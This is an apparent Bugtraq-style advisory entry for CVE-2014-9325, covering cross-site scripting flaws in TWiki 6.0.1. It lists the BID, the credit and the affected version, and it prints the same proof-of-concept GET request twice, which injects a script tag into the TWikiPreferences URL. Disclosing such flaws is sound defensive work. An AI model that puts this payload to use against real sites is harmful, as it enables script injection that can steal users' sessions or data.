TWiki CVE-2014-9325 Multiple Cross Site Scripting Vulnerabilities
BID:71735
Info
TWiki CVE-2014-9325 Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 71735 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-9325 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 18 2014 12:00AM |
| Updated: | Dec 18 2014 12:00AM |
| Credit: | Robert Abela and Onur Yilmaz |
| Vulnerable: |
TWiki TWiki 6.0.1 |
| Not Vulnerable: | |
Exploit / POC
TWiki CVE-2014-9325 Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example request is available:
GET /do/view/Main/TWikiPreferences?'"--></style></script><script>alert('CVE-2014-9325 vulnerable')</script>
Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.
The following example request is available:
GET /do/view/Main/TWikiPreferences?'"--></style></script><script>alert('CVE-2014-9325 vulnerable')</script>